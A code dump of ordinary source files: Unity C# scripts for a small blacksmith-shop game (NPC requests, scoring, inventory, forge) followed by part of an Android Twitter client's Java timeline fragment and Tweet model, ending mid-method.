{
yield return new WaitForSeconds(1);
Patience-=1;
// print(Patience);
// print(Patience/MaxPatience);
PatienceImage.fillAmount = Patience/MaxPatience;
if(Patience<=0&&waiting)
{
waiting = false;
NPCLeave();
}
yield return 0;
}
}
private void NPCLeave()
{
Satisfied = true;
GenerateNewRequest();
}
private void Start() {
RequestCanvas = Instantiate(RequestCanvas, this.transform);
requestCG = RequestCanvas.GetComponent<CanvasGroup>();
CheckMark = RequestCanvas.transform.Find("Check Mark");
RequestCanvas.enabled = false;
requestObject = displayRequest();
requestObject.tag = "Seeking";
requestObject.layer = LayerMask.NameToLayer("Seeking");
var item = requestObject.GetComponentInChildren<Item>();
if (item.Quality == 0)
{
print("NoQual");
}
Satisfied = false;
CheckMark.SetAsLastSibling();
//displayRequest();
}
public float ScoreItem(Item receiving)
{
Debug.Log($"Receiving: {receiving.ItemState}, Type: {receiving.Type}, T: {receiving.Tier}, Q: {receiving.Quality}");
Debug.Log($"Seeking: Type: {TypeWanted}, T: {MinimumTier}, Q: {MinimumTier}");
var tierBasePoints = 5f;
var baseQualityBonus = 5f;
var baseTypePoints = 5f;
if (receiving.ItemState != Item.State.Finished)
{
Debug.Log("Finish it first!");
tierBasePoints *= .25f;
baseQualityBonus *= .25f;
}
var score = 0f;
if (TypeWanted != null&& TypeWanted != ItemType.nil && receiving.Type != TypeWanted)
{
Debug.Log("Type mismatch");
return 0;
}
score += baseTypePoints;
if (MaterialWanted != null)
{
if (receiving.Tier == MinimumTier)
{
Debug.Log("Tier =");
score += tierBasePoints;
}
else if (receiving.Tier > MinimumTier)
{
Debug.Log("Tier >");
score += 1.5f * tierBasePoints;
}
else
{
Debug.Log("Tier <");
score += .5f * tierBasePoints;
}
}
if(MinimumQuality != null)
if (receiving.Quality == MinimumQuality)
{
Debug.Log("Meets quality");
score += baseQualityBonus;
}else if (receiving.Quality > MinimumQuality)
{
Debug.Log("Exceeds quality!");
score += ((receiving.Quality - (float)MinimumQuality) * .25f) + 1f * baseQualityBonus;
}
else
{
Debug.Log("Doesnt meet quality");
score += baseQualityBonus * (receiving.Quality/(float)MinimumQuality) * .5f;
}
Satisfied = true;
waiting = false;
return score;
}
public void GenerateNewRequest()
{
requestCG.DOFade(0f, .25f).OnComplete(() =>
{
RequestCanvas.gameObject.SetActive(false);
createNeed();
requestObject = displayRequest();
requestObject.tag = "Seeking";
requestObject.layer = LayerMask.NameToLayer("Seeking");
var item = requestObject.GetComponentInChildren<Item>();
if (item.Quality == 0)
{
print("NoQual");
}
CheckMark.SetAsLastSibling();
StartCoroutine(WaitAndFadeInRequest(5.0f));
});
}
IEnumerator WaitAndFadeInRequest(float time)
{
yield return new WaitForSeconds(time);
Satisfied = false;
Patience = Random.Range(60, MaxPatience);
PatienceImage.fillAmount = Patience / MaxPatience;
RequestCanvas.gameObject.SetActive(true);
waiting = true;
requestCG.DOFade(1.0f,.25f);
}
private void createNeed()
{
if (requestObject != null) Destroy(requestObject);
TypeWanted = null;
MaterialWanted = null;
MinimumQuality = null;
wants = new int[]{0,0,0};
float firstNeed = Mathf.RoundToInt(Random.Range(0,3));
switch (firstNeed){
case 0:
wants[0] = 1;
break;
case 1:
wants[1] = 1;
break;
case 2:
wants[2] = 1;
break;
default: break;
}
float secondNeed = Mathf.RoundToInt(Random.Range(0,6));
switch (secondNeed){
case 0:
if(firstNeed == 0 || firstNeed == 1) wants[2] = 1;
else wants[0] = 1;
break;
case 1:
if(firstNeed == 0 || firstNeed == 2)wants[1] = 1;
else wants[0] = 1;
break;
default: break;
}
if(secondNeed<=1) {
float thirdNeed = Mathf.RoundToInt(Random.Range(0,9));
switch(thirdNeed){
case 0:
if(wants[0] == 0) wants[0] = 1;
else if(wants[1] == 0)wants[1] = 1;
else wants[2] = 1;
break;
default: break;
}
}
if(wants[0] == 1){
randomType();
}
if(wants[1] == 1){
randomMaterial();
}
if(wants[2] == 1){
randomQuality();
}
print(TypeWanted + ", " + MaterialWanted +", " + MinimumQuality);
}
private void randomQuality(){
MinimumQuality = (float)Random.Range(3,6);
}
private void randomType(){
TypeWanted = (ItemType)Random.Range(2,_manager.NumberOfItemTypes);
}
private void randomMaterial(){
if(TypeWanted == null){
MaterialWanted = (ItemMaterial)Random.Range(2,_manager.NumberOfMaterials);
} else{
switch (TypeWanted){
case ItemType.Axe:
MaterialWanted = (ItemMaterial)Random.Range(2,_manager.NumberOfMaterials-2);
break;
case ItemType.Dagger:
MaterialWanted = (ItemMaterial)Random.Range(2,_manager.NumberOfMaterials-2);
break;
case ItemType.Mace:
MaterialWanted = (ItemMaterial)Random.Range(2,_manager.NumberOfMaterials-2);
break;
case ItemType.Spear:
MaterialWanted = (ItemMaterial)Random.Range(2,_manager.NumberOfMaterials-2);
break;
case ItemType.Sword:
MaterialWanted = (ItemMaterial)Random.Range(2,_manager.NumberOfMaterials-2);
break;
case ItemType.HeavyArmor:
MaterialWanted = (ItemMaterial)Random.Range(2,_manager.NumberOfMaterials-2);
break;
case ItemType.Shield:
MaterialWanted = (ItemMaterial)Random.Range(3,_manager.NumberOfMaterials-1);
break;
case ItemType.Bow:
MaterialWanted = (ItemMaterial)Random.Range(3,_manager.NumberOfMaterials-1);
break;
case ItemType.Wand:
MaterialWanted = (ItemMaterial)Random.Range(4,_manager.NumberOfMaterials);
break;
case ItemType.Staff:
MaterialWanted = (ItemMaterial)Random.Range(4,_manager.NumberOfMaterials);
break;
//I've adjusted the Robe and Leather Armor to ONLY be requested at Tiers 3 and 4 due to
//Difficulty finding "Material" solo sprite for Light and Tough
case ItemType.Robe:
int temp = Random.Range(4,6);
//if (temp>2) temp +=2;
MaterialWanted = (ItemMaterial)(temp);
break;
case ItemType.LeatherArmor:
int temp2 = Random.Range(4,6);
//if (temp2>2) temp2 +=2;
MaterialWanted = (ItemMaterial)(temp2);
break;
default: break;
}
}
}
public NPC(ItemType type, ItemMaterial material, float scoreMultiplier, Sprite image = null){
TypeWanted = type;
MaterialWanted = material;
ScoreMultiplier = scoreMultiplier;
Image = image;
}
public GameObject displayRequest(){
RequestCanvas.enabled = true;
GameObject wantObject = new GameObject();
Transform bubble = RequestCanvas.transform.Find("SpeechBubble");
if(wants[0] == 1 && wants[1] == 1){
//Mat and Type
foreach(GameObject item in _manager.ItemList){
Item temp = item.GetComponent<Item>();
if(temp.Material == MaterialWanted && temp.Type == TypeWanted)
{
MinimumTier = temp.Tier;
wantObject = Instantiate(item, bubble.position, Quaternion.identity, bubble.transform);
}
}
} else if(wants[0] == 1){
//Type Only
foreach (GameObject item in _manager.TypeList){
Item temp = item.GetComponent<Item>();
if(temp.Type == TypeWanted){
MinimumTier = temp.Tier;
wantObject = Instantiate(item, bubble.position, Quaternion.identity, bubble.transform);
}
}
} else if(wants[1] == 1){
//Mats Only
foreach (GameObject item in _manager.MaterialList){
Item temp = item.GetComponent<Item>();
if(temp.Material == MaterialWanted){
MinimumTier = temp.Tier;
wantObject = Instantiate(item, bubble.position, Quaternion.identity, bubble.transform);
}
}
} else {
wantObject = Instantiate(_manager.AnyItem, bubble.position, Quaternion.identity, bubble.transform);
}
if(wants[2] == 1){
Item temp = wantObject.GetComponent<Item>();
MinimumTier = temp.Tier;
print("Quality: " + MinimumQuality);
temp.SetQuality((int)MinimumQuality);
//temp.Quality = (float)MinimumQuality;
//print("Quality: " + temp.GetQuality());
}
// } else{
// if(wantObject){
// QualityBar qualityBar = wantObject.GetComponentInChildren<QualityBar>();
// qualityBar.gameObject.SetActive(false);
// }
// }
if(wantObject){
wantObject.transform.localScale = new Vector3(0.5f,0.5f,0.5f);
}
return wantObject;
}
}
<file_sep>/Assets/_Project/Scripts/Work Stations/WorkStation.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class WorkStation : MonoBehaviour
{
[HideInInspector]public Item InMachine;
public Transform ItemSpace;
private BoxCollider2D loadedBoxCollider2D;
protected SpriteRenderer loadedSpriteRenderer;
public virtual void LoadItem(Item item)
{
if (InMachine != null)
{
Debug.Log("[WorkStation]: Loading too many items");
return;
}
Debug.Log($"[WorkStation]: Loading {item.name}");
item.transform.position = ItemSpace.position;
InMachine = item;
loadedBoxCollider2D = item.gameObject.GetComponent<BoxCollider2D>();
loadedBoxCollider2D.enabled = false;
loadedSpriteRenderer = item.gameObject.GetComponent<SpriteRenderer>();
}
public virtual Item PopItem()
{
if (InMachine != null)
{
loadedBoxCollider2D.enabled = true;
loadedBoxCollider2D = null;
var item = InMachine;
InMachine = null;
Debug.Log($"[WorkStation]: Popping item {item.name}");
return item;
}
return null;
}
}
<file_sep>/Assets/_Project/Scripts/Inventory.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.Tilemaps;
namespace BackwardsCap
{
public class Inventory : MonoBehaviour
{
public InventorySlot[] Slots;
public ItemDragManager DragManager;
private Manager _manager;
[HideInInspector] public bool HoveringOverInventory = false;
public void Start()
{
_manager = GameObject.FindObjectOfType<Manager>();
for (int i = 0; i < Slots.Length; i++)
{
Slots[i].Initialize(this);
}
}
public bool PickupItem(Item item)
{
if (HoveringOverInventory) return false;
for (int i = 0; i < Slots.Length; i++)
{
if (Slots[i].PickUp(item))
{
_manager.SpawnedItems.Remove(item.gameObject);
item.gameObject.SetActive(false);
Debug.Log($"[Inventory]: Picking up {item.name} in slot {i}");
UpdateInventoryOrder();
return true;
}
}
Debug.Log("[Inventory]: Inventory Full!");
return false;
}
public void UpdateInventoryOrder()
{
var children = transform.GetComponentsInChildren<InventorySlot>();
for (int i = 0; i < children.Length; i++)
{
if(children[i].Holding==null)children[i].transform.SetAsLastSibling();
}
}
public void SetHoveringOverInventory(bool isHovering)
{
HoveringOverInventory = isHovering;
}
public void ItemRemoved(Item item, InventorySlot slot)
{
_manager.SpawnedItems.Add(item.gameObject);
DragManager.StartDragging(item, slot);
}
}
}<file_sep>/Assets/_Project/Scripts/RequestUIHandler.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using DG.Tweening;
public class RequestUIHandler : MonoBehaviour
{
private float startY;
// Start is called before the first frame update
void Start()
{
startY = transform.position.y;
}
// Update is called once per frame
void Update()
{
}
public void Expand(){
transform.DOMoveY(startY-520,0.5f);
}
public void Retract(){
transform.DOMoveY(startY,0.5f);
}
}
<file_sep>/Assets/_Project/Scripts/ScoreManager.cs
using System.Collections;
using System.Collections.Generic;
using DG.Tweening;
using UnityEngine;
using UnityEngine.UI;
namespace BackwardsCap
{
public class ScoreManager : MonoBehaviour
{
public static ScoreManager instance;
public Text ScoreDisplay;
public Text ServedDisplay;
public CanvasGroup ScoreScreenCG;
public Text ScoreScreenDisplay;
public CanvasGroup EndScreenCG;
public PlayerController Player;
public CanvasGroup UICG;
private float score;
private int served;
private int targetServed = 20;
public void Awake()
{
if (instance == null) instance = this;
ScoreDisplay.text = score.ToString();
ServedDisplay.text = $"{served:00}/{targetServed}";
EndScreenCG.alpha = 0f;
ScoreScreenCG.alpha = 0f;
}
public void AddPoints(float points)
{
if (points == 0) return;
served += 1;
ServedDisplay.text = $"{served:00}/{targetServed}";
score += points;
ScoreDisplay.text = score.ToString();
if (served == targetServed)
{
Player.HasControl = false;
UICG.DOFade(0f,0.5f);
ScoreScreenDisplay.text = score.ToString();
ScoreScreenCG.DOFade(1.0f, 1.0f);
}
}
IEnumerator WaitThenThank()
{
yield return new WaitForSeconds(5.0f);
EndScreenCG.DOFade(1.0f, 1.0f);
}
}
}
<file_sep>/Assets/_Project/Scripts/RadioAnimator.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class RadioAnimator : MonoBehaviour
{
[SerializeField] private Sprite[] frameArray;
private int currentFrame;
private float timer;
public AudioClip intro;
private void Awake()
{
}
private void Update()
{
timer += Time.deltaTime;
if (timer >= 1f)
{
timer -= 1f;
currentFrame = (currentFrame + 1) % frameArray.Length;
gameObject.GetComponent<SpriteRenderer>().sprite = frameArray[currentFrame];
}
}
}
<file_sep>/Assets/_Project/Scripts/ItemDragManager.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.Tilemaps;
namespace BackwardsCap
{
[RequireComponent(typeof(Inventory))]
public class ItemDragManager : MonoBehaviour
{
[HideInInspector] public bool DraggingItem = false;
[HideInInspector] public Item Dragging;
private SpriteRenderer draggingRenderer;
private Camera mainCam;
public PlayerController Player;
public Tilemap FloorTilemap;
private Inventory inventory;
private InventorySlot itemWasIn;
private Color priorColor;
public Camera Cam;
void Start()
{
inventory = GetComponent<Inventory>();
mainCam = Cam;
}
public void StartDragging(Item item, InventorySlot from)
{
if (Dragging != null)
{
Debug.LogError("[ItemDragManager]: Trying to drag 2 items?");
}
DraggingItem = true;
itemWasIn = from;
Dragging = item;
draggingRenderer = item.gameObject.GetComponent<SpriteRenderer>();
priorColor = draggingRenderer.color;
Dragging.gameObject.SetActive(true);
}
void Update()
{
if (DraggingItem)
{
if (Input.GetMouseButton(0))
{
FollowMouse();
}
if (Input.GetMouseButtonUp(0))
{
DropItem();
}
}
}
(bool,WorkStation) CheckIfOverValidMachine()
{
var wp = mainCam.ScreenToWorldPoint(Input.mousePosition);
RaycastHit2D hit = Physics2D.Raycast(wp, Vector2.zero, 100f, LayerMask.GetMask("WorkStations"));
if (hit.transform != null)
{
var workStation = hit.transform.GetComponent<WorkStation>();
if (workStation.CompareTag("Forge")&& Dragging.ItemState != Item.State.Normal) return (true, null);
if (workStation.InMachine != null) return (true,null);
if (Vector3.Distance(Player.transform.position.xy(), new Vector3(hit.point.x, hit.point.y, 0)) < 2f)
return (true,workStation);
}
return (false,null);
}
NPC CheckIfOverNpc()
{
var wp = mainCam.ScreenToWorldPoint(Input.mousePosition);
RaycastHit2D hit = Physics2D.Raycast(wp, Vector2.zero, 100f, LayerMask.GetMask("Seeking"));
if (hit.transform != null)
{
if (Vector3.Distance(Player.transform.position.xy(), new Vector3(hit.point.x, hit.point.y, 0)) < 2f)
{
if (hit.transform.CompareTag("Seeking"))
{
var npc = hit.transform.GetComponentInParent<NPC>();
return npc.Satisfied ? null : npc;
}
else
{
var npc = hit.transform.GetComponent<NPC>();
return npc.Satisfied?null:npc;
}
}
}
return null;
}
bool CheckIfValidPlacement()
{
var wp = mainCam.ScreenToWorldPoint(Input.mousePosition);
RaycastHit2D hit = Physics2D.Raycast(wp, Vector2.zero, 100f, LayerMask.GetMask("Floor"));
if (hit.transform != null)
{
if(Vector3.Distance(Player.transform.position.xy(),new Vector3(hit.point.x,hit.point.y,0))<2f)
return true;
}
return false;
}
void DropItem()
{
DraggingItem = false;
draggingRenderer.color = priorColor;
var wp = mainCam.ScreenToWorldPoint(Input.mousePosition);
var workStation = CheckIfOverValidMachine();
var npc = CheckIfOverNpc();
if (npc != null)
{
var score = npc.ScoreItem(Dragging);
ScoreManager.instance.AddPoints(score);
Destroy(Dragging.gameObject);
npc.GenerateNewRequest();
inventory.UpdateInventoryOrder();
}
else if (workStation.Item1)
{
if (workStation.Item2 != null)
{
workStation.Item2.LoadItem(Dragging);
inventory.UpdateInventoryOrder();
}
else
{
if (itemWasIn.PickUp(Dragging))
Dragging.gameObject.SetActive(false);
}
}
else if (inventory.HoveringOverInventory || !CheckIfValidPlacement())
{
Debug.Log("[ItemDragManager]: Failed to place item!");
if(itemWasIn.PickUp(Dragging))
Dragging.gameObject.SetActive(false);
}
else
{
Dragging.transform.position = wp.xy();
inventory.UpdateInventoryOrder();
}
Dragging = null;
draggingRenderer = null;
itemWasIn = null;
}
void FollowMouse()
{
var wp = mainCam.ScreenToWorldPoint(Input.mousePosition);
var t = CheckIfOverValidMachine();
draggingRenderer.color = (!t.Item1&&CheckIfValidPlacement()) || (t.Item1 && t.Item2!=null)? Color.green : new Color(0.5f,0.5f,0.5f,0.5f);
Dragging.transform.position = wp.xy();
}
}
}
<file_sep>/Assets/_Project/Scripts/IntroControl.cs
using System.Collections;
using System.Collections.Generic;
using DG.Tweening;
using UnityEngine;
namespace BackwardsCap
{
public class IntroControl : MonoBehaviour
{
public Transform Destination;
public PlayerController Player;
public SpriteRenderer PlayerRenderer;
public CanvasGroup FadeToBlack;
public AudioClip MusicChoice;
public AudioClip IntroClip;
public GameObject Skeleton;
public Camera IntroCamera;
public Camera GameCamera;
public GameObject logo;
public CanvasGroup UICG;
public GameObject NPCObject;
private IEnumerator WaitForIntro()
{
Player.HasControl = false;
PlayerRenderer.enabled = false;
yield return new WaitForSeconds(IntroClip.length);
Travel1();
}
private IEnumerator WaitForTitle()
{
logo.SetActive(true);
yield return new WaitForSeconds(5f);
logo.SetActive(false);
Travel2();
}
private void Awake()
{
UICG.alpha = 0f;
NPCObject.SetActive(false);
GameCamera.enabled = false;
StartCoroutine(WaitForIntro());
}
void Travel1()
{
FadeToBlack.DOFade(1f, 1f).OnComplete(() =>
{
Player.transform.position = Destination.position;
});
StartCoroutine(WaitForTitle());
}
void Travel2()
{
IntroCamera.enabled = false;
GameCamera.enabled = true;
UICG.alpha = 1f;
NPCObject.SetActive(true);
SoundManager.instance.PlaySomething(MusicChoice);
FadeToBlack.DOFade(0f, 1f).OnComplete(() =>
{
PlayerRenderer.enabled = true;
Player.HasControl = true;
});
}
}
}<file_sep>/Assets/_Project/Scripts/Manager.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using System;
using UnityEngine.Tilemaps;
public class Manager: MonoBehaviour
{
public GameObject[] ItemList;
public GameObject[] MaterialList;
public GameObject[] TypeList;
public GameObject AnyItem;
public List<GameObject> SpawnedItems = new List<GameObject>();
public Tilemap FloorMap;
public Tilemap[] NonFloorTilemaps;
public GameObject ItemParent;
private int[] ItemRarity = new int[0];
private int totalItemWeight;
public int NumberOfMaterials = 8;
public int NumberOfItemTypes = 11;
public float minQuality = 1.0f;
public float maxQaulity = 5.0f;
public float chanceToSpawn = 0.2f;
//public float populationWeight = 0.1f;
private void Awake(){
//foreach (GameObject g in ItemList){
// totalItemWeight +=g.GetComponent<Item>().Rarity;
//}
ItemRarity = new int[ItemList.Length];
for (int i = 0; i < ItemList.Length; i++)
{
ItemRarity[i] = ItemList[i].GetComponent<Item>().Rarity;
totalItemWeight += ItemRarity[i];
}
/*
//NOT SURE IF SUPPOSED TO SORT HIGH>LOW or LOW>HIGH
print("Before");
foreach (GameObject g in ItemList){
print(g.name);
}
Array.Sort(ItemRarity,ItemList);
print ("After");
foreach (GameObject g in ItemList){
print(g.name);
}
*/
}
public void SpawnNewItems(){
foreach(GameObject g in SpawnedItems){
Destroy(g);
}
SpawnedItems.Clear();
SpawnedItems = PopulateItems(ItemParent, FloorMap);
}
public List<GameObject> PopulateItems(GameObject parent, Tilemap floorMap){
List<GameObject> items = new List<GameObject>();;
bool ignore = false;
foreach(Vector3Int pos in floorMap.cellBounds.allPositionsWithin){
ignore = false;
if(floorMap.GetTile(pos)){
foreach (Tilemap map in NonFloorTilemaps){
if ( map.GetTile(pos) ){
ignore = true;
}
}
if(UnityEngine.Random.Range(0.0f,1.0f)<chanceToSpawn && !ignore){
items.Add(Instantiate(randomItem(),pos + new Vector3(0.5f,0.5f),Quaternion.identity,parent.transform));
}
}
}
return items;;
}
private GameObject randomItem(){
int randomWeight = UnityEngine.Random.Range(0, totalItemWeight);
int currentWeight = 0;
foreach (GameObject g in ItemList)
{
Item i = g.GetComponent<Item>();
currentWeight += i.Rarity;
if (randomWeight <= currentWeight) {
i.SetQuality((float)UnityEngine.Random.Range((int)minQuality,(int)maxQaulity+1));
//print(g.name);
return g; // selected one
}
}
return new GameObject();
}
}
// Start is called before the first frame update<file_sep>/Assets/_Project/Scripts/Work Stations/Forge.cs
using System.Collections;
using System.Collections.Generic;
using DG.Tweening;
using UnityEngine;
using UnityEngine.UI;
public class Forge : WorkStation
{
public Image Display;
public Image GoodMeter;
public Image BadMeter;
public CanvasGroup DisplayCG;
private float duration = 0f;
private float target = 7f;
private float damaged = 10f;
private float barBuffer = 1f;
public AudioClip ForgeSound;
public SoundManager SoundManager;
void Start()
{
GoodMeter.fillAmount = 1.0f - (target / (damaged + barBuffer));
BadMeter.fillAmount = 1.0f - (damaged / (damaged + barBuffer));
DisplayCG.alpha = 0f;
}
public bool CanLoad(Item item)
{
return InMachine == null && item.ItemState == Item.State.Normal;
}
public override void LoadItem(Item item)
{
duration = -.5f; //slight delay
Display.fillAmount = 0f;
base.LoadItem(item);
SoundManager.ClipArrayVariation(ForgeSound);
DisplayCG.DOFade(1f, 0.25f);
}
public override Item PopItem()
{
DisplayCG.DOFade(0f, 0.25f);
if (InMachine.ItemState != Item.State.Heated) loadedSpriteRenderer.color = Color.white;
return base.PopItem();
}
void Update()
{
if (InMachine != null)
{
HeatItem();
}
}
void HeatItem()
{
duration += Time.deltaTime;
var t = duration / (damaged+barBuffer);
loadedSpriteRenderer.color = Color.Lerp(Color.white, Color.red, t);
Display.fillAmount = Mathf.Clamp01(t);
if (duration >= target && InMachine.ItemState!=Item.State.Heated)
{
InMachine.ItemState = Item.State.Heated;
InMachine.SwingsLeft = 3;
Debug.Log("[Forge]: Ding! Your fries are ready");
}
if (duration >= damaged)
{
InMachine.SetQuality( Mathf.Clamp(InMachine.Quality-0.2f,0f,10f));
}
}
}
<file_sep>/Assets/_Project/Scripts/QualityBar.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class QualityBar : MonoBehaviour
{
public Image barImage;
public Image FinishedMark;
private float _quality;
public float Quality {
get{
return _quality;
}
set{
_quality = value;
barImage.fillAmount = Quality/5;
if(gameObject.transform.parent.parent.name == "SpeechBubble"){
if(Quality > 0 ) transform.gameObject.SetActive(true);
else transform.gameObject.SetActive(false);
}
//
}
}
// Start is called before the first frame update
void Start()
{
FinishedMark.enabled = false;
}
// Update is called once per frame
void Update()
{
}
}
<file_sep>/Assets/_Project/Data/Enums.cs
using UnityEngine;
using System.Collections;
public enum ItemType{
/*
//If we use item subtypes
Weapon,
Armor,
Accessory
*/
//Weapons
Sword = 0,
Dagger = 1,
Axe = 2,
Mace = 5,
Spear = 6,
Bow = 3,
Staff = 4,
Wand = 14,
//Armor
HeavyArmor = 7,
LeatherArmor = 8,
Robe = 9,
Shield = 10,
//Accessories
Ring = 11,
Necklace = 12,
Boots = 13,
nil = -1
}
//If we use item subtypes:
/*
public enum WeaponType{
Sword,
Bow,
Staff,
Mace,
TwoHandedSword,
}
public enum ArmorType{
Heavy,
Light,
Robe,
Shield
}
public enum AccessoryType{
Ring,
Necklace,
Boots
}
*/
public enum ItemMaterial{
Light = 0,
Tough = 1,
Iron = 2,
Bronze = 3,
Dark = 4,
Gold = 5,
Wood = 6,
Bone = 7,
Nil = -1,
}
|
570f0f1e5284383974d9a7825543ba7ef23fbdf7
|
[
"C#"
] | 24
|
C#
|
Turmolt/Project-V
|
5efdd43427a2d4ea72e7a8e07d26ca292e9d6e20
|
c20e14275367bda751ff0c365489470199ecc4c2
|
refs/heads/master
|
<repo_name>yabanjin25/SimpleTwitterClient<file_sep>/app/src/main/java/com/codepath/apps/mysimpletweets/fragments/UserTimelineFragment.java
package com.codepath.apps.mysimpletweets.fragments;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v4.widget.SwipeRefreshLayout;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Toast;
import com.codepath.apps.mysimpletweets.EndlessScrollListener;
import com.codepath.apps.mysimpletweets.R;
import com.codepath.apps.mysimpletweets.TwitterClient;
import com.codepath.apps.mysimpletweets.models.Tweet;
import com.loopj.android.http.JsonHttpResponseHandler;
import org.apache.http.Header;
import org.json.JSONArray;
import org.json.JSONObject;
import java.util.ArrayList;
public class UserTimelineFragment extends TweetsListFragment{
private SwipeRefreshLayout swipeContainer;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
client.setTwitterClientUserListener(new TwitterClient.TwitterClientUserListener() {
@Override
public void onRefreshTimeLine() {
populateTimeline();
}
public void onLoadMoreTweets(ArrayList<Tweet> moreTweets)
{
aTweets.addAll(moreTweets);
aTweets.notifyDataSetChanged();
idOfOldestTweetResult = getIdOfOldestTweetResult();
}
});
populateTimeline();
}
@Override
public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup parent, @Nullable Bundle savedInstanceState) {
View v = super.onCreateView(inflater, parent, savedInstanceState);
lvTweets.setOnScrollListener(new EndlessScrollListener() {
@Override
public void onLoadMore(int page, int totalItemsCount) {
// Triggered only when new data needs to be appended to the list
// Add whatever code is needed to append new items to your AdapterView
if (page >= 500) {
displayMaxResultsToast();
} else {
loadMoreTweets();
}
}
});
setupSwipeToRefresh(v);
return v;
}
// Creates a new fragment given an int and title
// DemoFragment.newInstance(5, "Hello");
public static UserTimelineFragment newInstance(String screenName) {
UserTimelineFragment userTimelineFragment = new UserTimelineFragment();
Bundle args = new Bundle();
args.putString("screen_name", screenName);
userTimelineFragment.setArguments(args);
return userTimelineFragment;
}
// Send an API request to get the timeline JSON
// Fill the listview by creating the tweet objects from the JSON
private void populateTimeline() {
String screenName = getArguments().getString("screen_name");
client.getUserTimeline(screenName, new JsonHttpResponseHandler() {
// Success
@Override
public void onSuccess(int statusCode, Header[] headers, JSONArray json) {
Log.d("DEBUG", json.toString());
// JSON Here
// Deserialize JSON
// Create Models
// Load the model into listview
aTweets.clear();
aTweets.addAll(Tweet.fromJSONArray(json));
aTweets.notifyDataSetChanged();
swipeContainer.setRefreshing(false);
idOfOldestTweetResult = getIdOfOldestTweetResult();
}
// Failure
@Override
public void onFailure(int statusCode, Header[] headers, Throwable throwable, JSONObject errorResponse) {
Log.d("DEBUG", errorResponse.toString());
}
});
}
private void setupSwipeToRefresh(View v)
{
swipeContainer = (SwipeRefreshLayout) v.findViewById(R.id.swipeContainer);
// Setup refresh listener which triggers new data loading
swipeContainer.setOnRefreshListener(new SwipeRefreshLayout.OnRefreshListener() {
@Override
public void onRefresh() {
// Your code to refresh the list here.
// Make sure you call swipeContainer.setRefreshing(false)
// once the network request has completed successfully.
populateTimeline();
}
});
// Configure the refreshing colors
swipeContainer.setColorSchemeResources(android.R.color.holo_blue_bright,
android.R.color.holo_green_light,
android.R.color.holo_orange_light,
android.R.color.holo_red_light);
}
private long getIdOfOldestTweetResult()
{
Tweet oldestTweet = tweets.get(tweets.size() - 1);
long idOfOldestTweet = oldestTweet.getUid();
return idOfOldestTweet;
}
private void displayMaxResultsToast()
{
Toast.makeText(getActivity(), "Maximum results reached", Toast.LENGTH_SHORT).show();
}
private void loadMoreTweets()
{
String screenName = getArguments().getString("screen_name");
client.loadMoreUserTimelineTweets(screenName, idOfOldestTweetResult);
}
}
<file_sep>/app/src/main/java/com/codepath/apps/mysimpletweets/models/Tweet.java
package com.codepath.apps.mysimpletweets.models;
import android.text.Html;
import android.text.Spanned;
import android.text.format.DateUtils;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Locale;
// Parse the JSON + store the data, encapsulate state logic or display logic
public class Tweet {
// List out all of the attributes
private String body;
private long uid;
private User user;
private String createdAt;
private boolean retweeted;
private int retweetCount;
private boolean favorited;
private int favoriteCount;
private ArrayList<Url> urls;
private ArrayList<Media> medias;
private boolean isRetweet;
private Tweet retweetedTweet;
private long inReplyToStatusId;
public String getCreatedAt() {
return createdAt;
}
public String getBody() {
return body;
}
public long getUid() {
return uid;
}
public User getUser() {
return user;
}
public int getRetweetCount() {
return retweetCount;
}
public boolean isFavorited() {
return favorited;
}
public boolean isRetweeted() {
return retweeted;
}
public int getFavoriteCount() {
return favoriteCount;
}
public ArrayList<Url> getUrls() {
return urls;
}
public ArrayList<Media> getMedias() {
return medias;
}
public boolean isRetweet() {
return isRetweet;
}
public Tweet getRetweetedTweet() {
return retweetedTweet;
}
public long getInReplyToStatusId() {
return inReplyToStatusId;
}
public void setBody(String body) {
this.body = body;
}
public void setInReplyToStatusId(long inReplyToStatusId) {
this.inReplyToStatusId = inReplyToStatusId;
}
public void setRetweetedTweet(Tweet retweetedTweet) {
this.retweetedTweet = retweetedTweet;
}
public void setRetweet(boolean isRetweet) {
this.isRetweet = isRetweet;
}
public void setMedias(ArrayList<Media> medias) {
this.medias = medias;
}
public void setUrls(ArrayList<Url> urls) {
this.urls = urls;
}
public void setFavoriteCount(int favoriteCount) {
this.favoriteCount = favoriteCount;
}
public void setRetweetCount(int retweetCount) {
this.retweetCount = retweetCount;
}
public void setFavorited(boolean favorited) {
this.favorited = favorited;
}
public void setRetweeted(boolean retweeted) {
this.retweeted = retweeted;
}
public void setCreatedAt(String createdAt) {
this.createdAt = createdAt;
}
public void setUser(User user) {
this.user = user;
}
public void setUid(long uid) {
this.uid = uid;
}
// Deserialize the JSON
public static Tweet fromJSON(JSONObject jsonObject) {
Tweet tweet = new Tweet();
try {
tweet.body = jsonObject.getString("text");
tweet.uid = jsonObject.getLong("id");
tweet.createdAt = jsonObject.getString("created_at");
tweet.user = User.fromJSON(jsonObject.getJSONObject("user"));
tweet.retweetCount = jsonObject.getInt("retweet_count");
tweet.favoriteCount = jsonObject.getInt("favorite_count");
tweet.favorited = jsonObject.getBoolean("favorited");
tweet.retweeted = jsonObject.getBoolean("retweeted");
tweet.urls = Url.fromJSONArray(jsonObject.getJSONObject("entities").getJSONArray("urls"));
if (jsonObject.isNull("in_reply_to_status_id")) {
tweet.inReplyToStatusId = -1;
} else {
tweet.inReplyToStatusId = jsonObject.getLong("in_reply_to_status_id");
}
if (jsonObject.getJSONObject("entities").has("media")) {
tweet.medias = Media.fromJSONArray(jsonObject.getJSONObject("entities").getJSONArray("media"));
} else {
tweet.medias = new ArrayList<>();
}
if (jsonObject.has("retweeted_status")) {
tweet.isRetweet = true;
